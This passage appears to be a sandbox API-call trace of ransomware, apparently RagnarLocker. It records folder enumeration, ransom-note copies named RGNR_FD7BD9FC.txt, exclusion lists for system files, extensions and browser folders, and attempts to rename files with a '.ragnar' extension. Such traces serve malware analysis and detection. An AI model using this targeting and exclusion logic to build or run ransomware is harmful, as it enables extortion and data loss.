nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.726] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72dc75c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.726] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc75c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72dc75c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.726] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.726] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.726] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.726] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.726] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0054.726] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui") returned=".mui" [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0054.726] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0054.726] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.726] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.726] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.726] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.726] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.727] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.727] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0054.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.738] CloseHandle (hObject=0xffffffff) returned 0 [0054.738] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" [0054.738] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.ragnar_FD7BD9FC" [0054.738] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.738] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.738] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.738] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0054.738] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2=".") returned 1 [0054.738] lstrcmpiW (lpString1="FlickAnimation.avi", lpString2="..") returned 1 [0054.738] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0054.739] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2=".") returned 1 [0054.739] lstrcmpiW (lpString1="FlickLearningWizard.exe", lpString2="..") returned 1 [0054.739] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2=".") returned 1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="..") returned 1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Windows") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Windows.old") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Tor browser") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Internet Explorer") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Google") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Opera") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Opera Software") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Mozilla") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="Mozilla Firefox") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="$Recycle.Bin") returned 1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="ProgramData") returned -1 [0054.739] lstrcmpiW (lpString1="fr-FR", lpString2="All Users") returned 1 [0054.739] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0054.739] lstrcpyW (in: lpString1=0x1eb62e, lpString2="fr-FR" | out: lpString1="fr-FR") returned="fr-FR" [0054.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" [0054.739] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\" [0054.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RGNR_FD7BD9FC.txt" [0054.739] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*" [0054.741] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.741] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.741] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ded720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.742] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ded720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.742] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.742] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ded720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.742] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.742] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.742] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ded720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ded720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ded720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72ded720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.742] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.742] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.742] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.742] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.742] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0054.742] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned=".mui" [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0054.742] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0054.743] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.743] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0054.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.743] CloseHandle (hObject=0xffffffff) returned 0 [0054.743] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" [0054.743] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0054.743] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.744] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.744] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2=".") returned 1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="..") returned 1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Windows") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Windows.old") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Tor browser") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Internet Explorer") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Google") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Opera") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Opera Software") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Mozilla") returned -1 [0054.744] lstrcmpiW (lpString1="fsdefinitions", lpString2="Mozilla Firefox") returned -1 